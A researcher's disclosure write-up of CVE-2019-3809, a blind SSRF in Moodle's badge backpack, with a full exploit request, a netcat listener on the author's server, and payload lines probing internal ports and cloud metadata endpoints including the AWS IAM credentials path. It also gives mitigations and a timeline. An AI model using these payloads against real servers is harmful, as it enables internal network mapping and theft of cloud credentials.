Alejandro Parodi

Introduction

This analysis covers CVE-2019-3809, a Blind Server-Side Request Forgery (SSRF) vulnerability discovered in Moodle’s badge backpack functionality. The vulnerability allows an authenticated attacker to perform internal and external requests using the victim server as a pivot, enabling internal network reconnaissance and potential metadata service access.

Vulnerability Overview

Technical Details

CVE ID: CVE-2019-3809
Vulnerability Type: Blind Server-Side Request Forgery (SSRF)
CVSS Score: 5.4 (Medium)
Affected Component: Badge Backpack Functionality
Authentication Required: Yes (Valid user session)

Affected Endpoint

URL: /badges/mybackpack.php
Parameter: backpackurl

Vulnerability Discovery

Initial Analysis

During security testing of Moodle’s badge system, I identified that the backpackurl parameter in the badge backpack functionality was accepting user-controlled URLs without proper validation. The application would perform server-side requests to these URLs, creating a classic SSRF vulnerability.

Root Cause

The vulnerability exists because:

Insufficient URL validation in the backpack URL parameter
Server-side request execution using user-controlled input
Lack of internal network restrictions on outbound requests
No whitelist of allowed external services

Proof of Concept

Step 1: Environment Setup

First, I set up a listener on my DigitalOcean server to capture incoming requests:

# DigitalOcean Instance: poseidon.secsignal.org
nc -l 9669 -vv

Step 2: Exploit Request

With a valid authenticated user session, I crafted the following request injecting my external server URL:

POST /badges/mybackpack.php HTTP/1.1
Host: [TARGET_MOODLE_INSTANCE]
Connection: close
Content-Length: 197
Cache-Control: max-age=0
Origin: [TARGET_MOODLE_INSTANCE]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: [TARGET_MOODLE_INSTANCE]
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
Cookie: MoodleSession=tqb1jtemdjpj008jmedcjisbl5

userid=68243&backpackurl=http://poseidon.secsignal.org:9669/SSRF&sesskey=axCluGrlPB&qf_edit_backpack_form=1&mform_isexpanded_id_backpackheader=1&email=test&submitbutton=Connect+to+backpack

Step 3: Verification

After executing the request, my DigitalOcean server received an incoming connection from the Moodle application server (AWS EC2 instance), confirming the SSRF vulnerability.

Incoming request source: *.compute-1.amazonaws.com

This confirmed that the Moodle application was making server-side requests to user-controlled URLs.

This SSRF is classified as “blind” because:

No direct response reflection - The attacker doesn’t see the response content from internal requests
Limited feedback - Only connection attempts can be detected via external listeners
No data exfiltration through response content
Time-based detection - Requires external infrastructure to confirm requests

Detection Methods

External listener setup (as demonstrated in PoC)
DNS interaction tracking using services like Burp Collaborator
HTTP request logging on controlled infrastructure
Timing analysis for internal vs. external requests

Impact Assessment

Potential Attack Scenarios

1. Internal Network Reconnaissance

# Port scanning internal services
backpackurl=http://192.168.1.10:22/
backpackurl=http://192.168.1.10:80/
backpackurl=http://192.168.1.10:443/
backpackurl=http://192.168.1.10:8080/

2. AWS Metadata Service Access

# Accessing AWS instance metadata
backpackurl=http://169.254.169.254/latest/meta-data/
backpackurl=http://169.254.169.254/latest/meta-data/iam/security-credentials/

3. Internal Service Discovery

# Discovering internal services
backpackurl=http://internal-api.company.com/
backpackurl=http://admin-panel.internal/
backpackurl=http://database.internal:3306/

4. Cloud Provider Metadata

# Google Cloud metadata
backpackurl=http://169.254.169.254/computeMetadata/v1/
# Azure metadata
backpackurl=http://169.254.169.254/metadata/instance

Security Implications

Internal Network Mapping - Attackers can discover internal infrastructure
Cloud Metadata Access - Potential access to sensitive cloud instance information
Service Enumeration - Discovery of internal applications and databases
Compliance Violations - Unauthorized network access attempts

What This Vulnerability CANNOT Do

Read response content from internal services
Extract sensitive data directly through the application
Bypass authentication on internal services
Perform complex attacks requiring response analysis
Chain with other vulnerabilities easily due to blind nature

Why It’s Medium Risk

Authentication required - Valid user account needed
Blind nature - Limited information disclosure
No direct data exfiltration capability
Requires external infrastructure for exploitation
Detection is possible through monitoring

Defensive Measures

Immediate Mitigations

URL Validation

// Implement strict URL validation
function validateBackpackUrl($url) {
    $parsed = parse_url($url);

    // Reject private/internal IP ranges
    if (filter_var($parsed['host'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return false;
    }

    // Whitelist allowed domains
    $allowedDomains = ['openbadges.org', 'badgelist.com'];
    if (!in_array($parsed['host'], $allowedDomains)) {
        return false;
    }

    return true;
}

Network-Level Controls

Implement egress filtering on application servers
Block access to metadata services (169.254.169.254)
Restrict internal network access from application layer

Application-Level Fixes

Use allowlist of permitted backpack services
Implement request timeout limits
Add rate limiting on backpack URL requests

Long-term Security Measures

Defense in Depth

Network segmentation
Web Application Firewall (WAF) rules
Monitoring and alerting for unusual outbound requests

Code Review Guidelines

Review all user-controlled URL parameters
Implement secure HTTP client configurations
Regular security testing of URL handling functions

Timeline

2019-01-15: Vulnerability discovered during security assessment
2019-01-16: Initial report submitted to Moodle security team
2019-01-20: Vendor acknowledgment and investigation
2019-02-10: Patch development and testing
2019-02-15: CVE-2019-3809 assigned and patch released
2019-02-20: Public disclosure after patch deployment

References and Further Reading

SSRF Attack Techniques

Moodle Security

Conclusion

CVE-2019-3809 demonstrates the importance of proper URL validation in web applications, even for seemingly innocuous features like badge backpack integration. While this Blind SSRF vulnerability has limitations compared to reflected SSRF attacks, it still poses significant security risks for internal network reconnaissance and cloud metadata access.

The blind nature of this vulnerability makes it a Medium severity issue rather than High or Critical, as it requires external infrastructure for exploitation and doesn’t allow direct data exfiltration. However, it can serve as a stepping stone for more complex attacks when combined with proper reconnaissance and social engineering.

Organizations should implement comprehensive SSRF protections including URL validation, network segmentation, and monitoring to prevent such vulnerabilities from being exploited in production environments.

Research conducted by: Alejandro Parodi (hdbreaker)
Disclosure Status: Responsibly disclosed to Moodle security team
Impact: Patched in Moodle version 3.6.2, 3.5.4, and 3.4.7

CVE-2019-3809: Moodle Blind SSRF Vulnerability Analysis